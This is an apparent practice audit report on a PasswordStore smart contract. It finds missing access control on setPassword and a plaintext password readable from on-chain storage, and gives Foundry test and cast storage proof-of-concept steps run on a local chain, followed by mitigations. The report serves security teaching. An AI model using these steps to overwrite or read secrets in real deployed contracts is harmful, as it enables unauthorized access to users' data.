PasswordStore Security Audit Report by MK (25th Nov 2024)

[H-1] Insecure `PasswordStore::setPassword` Function Permits Anyone to Change Password

Description:

The setPassword function in the PasswordStore contract lacks proper access control, allowing any user to call the function and set a new password. This oversight enables unauthorized actors to modify the stored password without restriction, potentially compromising the integrity of the system.

Impact:

Unauthorized users can overwrite the password stored in the contract, leading to potential misuse, loss of trust, or exploitation of other systems that rely on this password for security. This creates a significant vulnerability in any applications dependent on the contract.

Proof of Concept:

1. Set the password in the deploy script as "samplePassword"

```
function run() public returns (PasswordStore) {
        vm.startBroadcast();
        PasswordStore passwordStore = new PasswordStore();
        passwordStore.setPassword("samplePassword");
        vm.stopBroadcast();
        return passwordStore;
```

2. Create a test file with a function that simulates a `randomAddress` (Attacker Address) setting the password in the contract. The test should then verify that when the owner retrieves the password, it matches the one set by the `randomAddress`.

```
function test_nonowner_set_password(address randomAddress) public {
        vm.prank(randomAddress);
        string memory expectedPassword = "myNewPassword";
        passwordStore.setPassword(expectedPassword);
        vm.prank(owner);
        string memory actualPassword = passwordStore.getPassword();
        assertEq(actualPassword, expectedPassword);
```

3. Run forge to run the test file.

```
forge test --mt test_nonowner_set_password -vvvv
```

4. The returns the following:

```
[⠒] Compiling...
[⠢] Compiling 6 files with Solc 0.8.18
[⠃] Solc 0.8.18 finished in 2.28s
Compiler run successful!

Ran 1 test for test/PasswordStore.t.sol:PasswordStoreTest
[PASS] test_nonowner_set_password(address) (runs: 256, μ: 23011, ~: 23011)
Traces:
  [23011]
PasswordStoreTest::test_nonowner_set_password(0x0000000000000000000000000000000d5
F39488)
    ├─ [0] VM::prank(0x0000000000000000000000000000000d5F39488)
    │   └─ ← [Return]
    ├─ [6686] PasswordStore::setPassword("myNewPassword")
    │   ├─ emit SetNewPassword()
    │   └─ ← [Stop]
    ├─ [0] VM::prank(DefaultSender: [0x1804c8AB1F12E6bbf3894d4083f33e07309d1f38])
    │   └─ ← [Return]
    ├─ [3320] PasswordStore::getPassword() [staticcall]
    │   └─ ← [Return] "myNewPassword"
    ├─ [0] VM::assertEq("myNewPassword", "myNewPassword") [staticcall]
    │   └─ ← [Return]
    └─ ← [Stop]

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 35.16ms (26.43ms CPU
time)

Ran 1 test suite in 1.12s (35.16ms CPU time): 1 tests passed, 0 failed, 0 skipped
(1 total tests)
```

5. This proves that the password set by the `owner` is changed by the Attacker `randomAddress`.

Recommended Mitigation:

1. Implement access control mechanisms, such as require(msg.sender == owner) in the setPassword function.
2. Use OpenZeppelin's Ownable contract to define and restrict sensitive function calls to the owner.

[H-2] Sensitive Password Stored On-Chain, Exposing It to Public View

Description:

In `PasswordStore::s_password`, setting the visibility to private does not ensure that the password remains confidential. Since all data on-chain is publicly accessible, the password is stored in plain text and can be viewed by anyone, compromising its secrecy.

Impact: The password is stored in plaintext and visible on-chain, making it accessible to anyone.

Proof of Concept:

1. In the Deploy script enter the `password` as per your wish

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.18;

import {Script, console2} from "forge-std/Script.sol";
import {PasswordStore} from "../src/PasswordStore.sol";

contract DeployPasswordStore is Script {
    function run() public returns (PasswordStore) {
        vm.startBroadcast();
        PasswordStore passwordStore = new PasswordStore();
        passwordStore.setPassword("samplePassword"); //This is the password.
        vm.stopBroadcast();
        return passwordStore;
    }
}
```

2. Make local Blockchain using Anvil

```
make anvil
```

3. Deploy the `PasswordStore` contract

```
make deploy
```

4. Run the storage tool using cast to access the strored password

```
cast storage 0x5FbDB2315678afecb367f032d93F642f64180aa3 1 --rpc-url
http://127.0.0.1:8545
```

This will return a hex value

```
0x73616d706c6550617373776f726400000000000000000000000000000000001c
```

5. Now convert the Hex to String using cast

```
cast parse-bytes32-string
0x73616d706c6550617373776f726400000000000000000000000000000000001c
```

Which returns the stored password

```
samplePassword
```

Recommended Mitigation:

1. Avoid storing passwords or any sensitive information directly on the blockchain, as all on-chain data is publicly accessible, even if marked private in the contract.
2. Keep sensitive data off-chain and only use the blockchain to store non-sensitive references or proofs.
3. Utilize off-chain key management systems or secure servers for handling and verifying passwords.